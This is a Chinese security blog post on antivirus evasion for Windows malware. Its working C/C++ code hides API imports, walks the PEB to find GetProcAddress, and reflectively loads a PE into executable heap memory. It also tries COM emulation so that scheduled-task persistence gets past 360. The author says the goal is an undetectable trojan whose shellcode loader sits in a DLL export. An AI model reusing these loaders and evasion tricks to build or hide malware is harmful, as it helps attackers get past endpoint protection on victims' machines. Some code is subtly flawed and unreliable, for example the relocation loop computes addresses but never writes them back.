杂谈免杀

admin 2023年2月23日03:09:14评论81 views字数 8416阅读28分3秒阅读模式
    window API隐藏


在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。编译一个MessageBox文件,查看其导入表:

#include<stdio.h>#include<Windows.h> 
int main(){ printf("hello worldn"); MessageBox(0, TEXT("hello world"), 0, 0); return 0;}

可以看到使用了MessageBoxW这个api。

杂谈免杀

可以通过自定义API的方式隐藏导入表中的恶意API,自定义api试一下。

#include<stdio.h>#include<Windows.h>
typedef int(WINAPI* pMessageBox) (
HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );
int main(){ printf("hello worldn");
pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary(L"User32.dll"), "MessageBoxW");MyMessageBox(0, TEXT("hello world"), 0, 0); return 0;}

这里就隐藏了api,但是使用这种方式,不可避免的是去使用windows中的loadlibary与GetProcAddress两大api。而这两个函数的组合使用已经被标记烂了。

杂谈免杀

深入隐藏(一)


于是存在了网上分享过的,使用PEB模块去获取GetProcAddress函数。流程如下:

1. 找到kernel32.dll的地址

2. 遍历啊kernel32.dll的导入表,找到GetProcAddress的地址

3. 使用GetProcAddress获取LoadLibrary函数的地址

4. 然后使用 LoadLibrary加载DLL文件

5. 使用 GetProcAddress查找某个函数的地址

如下函数,返回kernel32.dll地址,使用汇编,返回kernel32的基址。对此汇编代码感兴趣的师傅,可以在文章末链接查看。

DWORD GetKernel32Address() { DWORD dwKernel32Addr = 0; _asm {     mov eax, fs: [0x30]             mov eax, [eax + 0x0c]             mov eax, [eax + 0x14]             mov eax, [eax]             mov eax, [eax]             mov eax, [eax + 0x10]             mov dwKernel32Addr, eax } return  dwKernel32Addr;}

获取GetProcAddress的地址,如下函数。

DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表 扩展头 数据目录表 + 导出表    定位导出表
PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT;//导出表 //导出表地址
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase +pDataDir->VirtualAddress);//函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions +dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase); for (size_t i = 0; i < dwFunCount; i++) { if (!pAddrOfFun[i]) { continue; } DWORD dwFunAddrOffset = pAddrOfFun[i]; for (size_t j = 0; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char * pFunName = (char *)(dwAddrBase + dwNameOffset); if (strcmp(pFunName, "GetProcAddress") == 0) { return dwFunAddrOffset + dwAddrBase; } } } }}

使用汇编语言实现了获取kernerl32.dll里获取到了GetProcAddress函数的地址,然后再用自定义函数将参数装进去,实现调用。从而实现了获取其他函数的地址。

typedef HMODULE(WINAPI* pGetModuleHandle)( _In_ LPCSTR lpLibFileName );

pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");

查看一下函数,在kernel32中已经查不到,结合shellcode加密360也简单绕过。

杂谈免杀

杂谈免杀

但是visual studio的X64的架构的语言不支持内联汇编。X64可以通过单独写一个汇编语言来调用,但是我不会编写汇编代码 。还有别的方式来调用loadlibray与GetProcAddress函数呢?

深入隐藏(二)


我换了一种思维来实现了隐藏。首先来看一下调用GetProcAddress的时发生了什么。很简单传入了kernel32.dll的地址然后进行对它导出函数的调用。

杂谈免杀

那么这里编译一个dll进行一个测试,实现了一个导出函数为cior的编写,输出内容为!!!!!!!!。

#include<stdio.h>#include<Windows.h>
extern "C" __declspec(dllexport) void cior(const char* c1){ printf("!!!!!!");}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ printf("999");}

杂谈免杀

DLL准备就绪,关于怎么加载进去DLL。Windows提供了一个函数叫做loadlibray。很多师傅都听过DLL内存反射,DLL映射等等。实际上无论Dll怎么变,Dll的本质其实就是一个PE文件。回归到本质,它准确的名称应该叫做PE映射。那么什么是PE文件呢?如下就是一个PE文件使用16进制打开的DOS头。

杂谈免杀

重点关注的是下面这张图。这张图就是PE装载在内存的大概过程,也可以叫做PE拉伸。实现过程的话懂的师傅都懂。

杂谈免杀

编写一个自定义的loadlibary函数。

LPVOID loadlibary111(LPBYTE lpData){    ImportHeapCreate MyHeapCreate = (ImportHeapCreate)GetMemProcAddress(GetMemModuleHandleA("kernel32.dll"), "HeapCreate");    ImportHeapAlloc MyHeapAlloc = (ImportHeapAlloc)GetMemProcAddress(GetMemModuleHandleA("kernel32.dll"), "HeapAlloc");    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpData;    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDosHeader + pDosHeader->e_lfanew);    DWORD dwSizeOfImage = pNtHeader->OptionalHeader.SizeOfImage;    HANDLE hc = MyHeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);    LPVOID lpBaseAddress = MyHeapAlloc(hc, 0, dwSizeOfImage);    RtlZeroMemory(lpBaseAddress, dwSizeOfImage);    DWORD dwSizeOfHeaders = pNtHeader->OptionalHeader.SizeOfHeaders;    WORD wNumberOfSections = pNtHeader->FileHeader.NumberOfSections;    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);    RtlCopyMemory(lpBaseAddress, lpData, dwSizeOfHeaders);    for (WORD i = 0; i < wNumberOfSections; i++)    {        if (0 == pSectionHeader->VirtualAddress || 0 == pSectionHeader->SizeOfRawData)        {            pSectionHeader++;            continue;        }        LPVOID lpSrcMem = (LPVOID)((DWORD_PTR)lpData + pSectionHeader->PointerToRawData);        LPVOID lpDestMem = (LPVOID)((DWORD_PTR)lpBaseAddress + pSectionHeader->VirtualAddress);        DWORD dwSizeOfRawData = pSectionHeader->SizeOfRawData;        RtlCopyMemory(lpDestMem, lpSrcMem, dwSizeOfRawData);        pSectionHeader++;    }    PIMAGE_DOS_HEADER pDosHeader1 = (PIMAGE_DOS_HEADER)lpBaseAddress;    PIMAGE_NT_HEADERS pNtHeader1 = (PIMAGE_NT_HEADERS)((LPBYTE)lpBaseAddress + pDosHeader1->e_lfanew);    PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(pNtHeader1->OptionalHeader.DataDirectory[5].VirtualAddress + (DWORD_PTR)pDosHeader1);    while (pReloc->VirtualAddress != 0 && pReloc->SizeOfBlock != 0)    {        int nNumberOfReloc = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);        for (int i = 0; i < nNumberOfReloc; i++)        {            WORD* pRelocData = (WORD*)((DWORD_PTR)pReloc + sizeof(IMAGE_BASE_RELOCATION));            if ((WORD)(pRelocData[i] & 0xF000) == 0x3000)            {                DWORD_PTR pAddress = (DWORD_PTR)pDosHeader1 + pReloc->VirtualAddress + (pRelocData[i] & 0x0FFF);                pAddress += (DWORD_PTR)pDosHeader1 - pNtHeader1->OptionalHeader.ImageBase;            }        }        pReloc = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pReloc + pReloc->SizeOfBlock);    }    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pDosHeader1 + pNtHeader1->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);    char* pDllName = nullptr;    PIMAGE_THUNK_DATA pIat = NULL;    PVOID pFuncAddress = NULL;    PIMAGE_IMPORT_BY_NAME pImportByName = NULL;    while (pImport->Name)    {        pDllName = (char*)((DWORD_PTR)pDosHeader1 + pImport->Name);        PVOID hDll = GetMemModuleHandleA(pDllName);        if (NULL == hDll)        {            hDll = LoadLibraryA(pDllName);            if (NULL == hDll)            {                pImport++;                continue;            }        }        pIat = (PIMAGE_THUNK_DATA)((DWORD_PTR)pDosHeader1 + pImport->FirstThunk);        while (pIat->u1.Ordinal)        {            if (pIat->u1.Ordinal & 0x80000000)            {                pFuncAddress = GetMemProcAddress(hDll, (LPCSTR)(pIat->u1.Ordinal & 0x7FFFFFFF));            }            else            {                pImportByName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)pDosHeader1 + pIat->u1.AddressOfData);                pFuncAddress = GetMemProcAddress(hDll, pImportByName->Name);            }            pIat->u1.Function = (DWORD_PTR)pFuncAddress;            pIat++;        }        pImport++;    }    return lpBaseAddress;}

那么再结合到自定义写的GetMemProcAddress实际使用,看看效果。

杂谈免杀

到这里完成了自定义的loadlibray与GetProcAddress的实现。那么实现这样一个技术能够完成什么呢?在编写免杀马的时候不可避免会用到一些ring3的api函数。而杀软又是在ring0层hook的。常规BypassAV的方式,无非是选择冷门api或者自定义实现的函数。自定义函数能够更好隐藏api的调用。这里我们可以将shellcodeload放在导出函数,然后用回调函数去调用。简单完成免杀。

杂谈免杀

除了常规的应用方式,我恰巧碰见了,计划任务过不了360核晶。核心代码如下:

#include <taskschd.h>#pragma comment(lib, "taskschd.lib")
int main(){ ....... hello = CoCreateInstance(CLSID_TaskScheduler, //com NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); .......
hello = pRootFolder->RegisterTaskDefinition( //注册创建计划任务 _bstr_t(wszTaskName.c_str()), pTask, TASK_CREATE_OR_UPDATE, _variant_t("SYSTEM"), _variant_t(), TASK_LOGON_PASSWORD, _variant_t(L""), &pRegisteredTask);}

这个是过不了核晶的,查杀提示为DCOMCallback。

杂谈免杀

本意尝试用loadlibary去加载dll然后用GetProcAddress去获取RegisterTaskDefinition的地址。结果是失败并报错。经测试,这个计划任务是通过实例com对象去调用的。Com的DLL与一般的DLL并不相同。

杂谈免杀

可以发现最终调用的是COM方法,而不是导出函数。

杂谈免杀

关于COM的hook也与常规的hook并不相同,国内并没有太多关于COM的文章。恰巧看到了一篇17年的文章。感兴趣的师傅可以看文章末链接。这里详细介绍了关于com hook的可行性。准确的叫做com仿真。于是尝试对com仿真进行测试。

杂谈免杀

于是我仿真了bits实现功能的调用。核心代码:

STDMETHODIMP CFakeBitsManager::CreateJob(LPCWSTR DisplayName, BG_JOB_TYPE Type, GUID* pJobId, IBackgroundCopyJob** ppJob){    printf("123");    return pUnk->CreateJob(DisplayName, Type, pJobId, ppJob);}

调用代码:

   IBackgroundCopyManager* pManager=NULL;    HRESULT hr = CoInitialize(NULL);    hr = CoCreateInstance(__uuidof(FakeBitsManager), NULL, CLSCTX_INPROC_SERVER, __uuidof(IFakeBitsManager), (void**)&pManager);    if (SUCCEEDED(hr))    {        printf("888");    }        GUID guidJob;    IBackgroundCopyJob* pBackgroundCopyJob;    hr = pManager->GetJob2(L"T123",BG_JOB_TYPE_DOWNLOAD,&guidJob, (IBackgroundCopyJob**) &pBackgroundCopyJob);    if (SUCCEEDED(hr))    {        printf("999");    }
这里完成了bits 的仿真。于是我尝试着去仿真TaskScheduler。HRESULT hr = CoInitialize(NULL); LPCWSTR wszTaskName = L"Test"; wstring wstrExecutablePath = L"C://Windows//System32//cmd.exe"; ITaskService* pService = NULL; hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); ITaskFolder* pRootFolder = NULL; hr = pService->GetFolder(_bstr_t(L"\"), &pRootFolder);

这里我开始尝试去实列化我写的仿真TaskScheduler,最终结果却失败。

总结


技术的运用是灵活的,在实现自定义loadlibray将dll加载进内存后,可以免杀一大部分杀软。但对于内存空间的查杀还需要更高更复杂的技巧,最后附上一张内存攻防思路图。

杂谈免杀

参考文章


https://bbs.kanxue.com/thread-266678.htm

https://bbs.kanxue.com/thread-121488.htm

https://www.anquanke.com/post/id/86821

END

监制:船长、铁子   策划:AST   文案:那是坦克吗   美工:青柠

原文始发于微信公众号(千寻安服):杂谈免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月23日03:09:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   杂谈免杀http://cn-sec.com/archives/1565480.html

发表评论

匿名网友 填写信息